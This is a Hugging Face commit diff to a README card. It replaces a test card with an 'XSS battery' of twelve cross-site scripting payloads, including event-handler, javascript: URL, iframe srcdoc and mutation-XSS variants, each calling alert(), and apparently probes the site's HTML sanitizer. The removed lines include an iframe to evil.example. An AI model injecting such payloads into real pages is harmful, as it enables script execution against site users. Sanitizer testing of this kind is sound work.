2fa2fa commited on
Commit
d8bbd24
·
verified ·
1 Parent(s): 38a7930

Upload README.md with huggingface_hub

Browse files
Files changed (1) hide show
  1. README.md +13 -8
README.md CHANGED
@@ -1,11 +1,16 @@
1
  ---
2
  license: mit
3
  ---
4
-
5
- # Test card
6
-
7
- <h2>HTMLH2</h2>
8
- <img src=x onerror="alert(1)">
9
- <a href="https://evil.example">link</a>
10
- <iframe src="https://evil.example"></iframe>
11
- <style>body{background:red}</style>
 
 
 
 
 
 
1
  ---
2
  license: mit
3
  ---
4
+ # XSS battery
5
+ P1 <h2 onmouseover=alert(1)>h2attr</h2>
6
+ P2 <a href="javascript:alert(2)">jsHref</a>
7
+ P3 <svg onload=alert(3)>svgLoad</svg>
8
+ P4 <img src=x onerror=alert(4)>
9
+ P5 <iframe srcdoc="<script>alert(5)</script>"></iframe>
10
+ P6 <details open ontoggle=alert(6)>det</details>
11
+ P7 <marquee onstart=alert(7)>marq</marquee>
12
+ P8 <math><mtext><table><mglyph><style><img src=x onerror=alert(8)>
13
+ P9 <form><button formaction="javascript:alert(9)">btn</button></form>
14
+ P10 <object data="javascript:alert(10)"></object>
15
+ P11 <a href="data:text/html,<script>alert(11)</script>">dataHref</a>
16
+ P12 <h3 style="background:url(javascript:alert(12))">styleUrl</h3>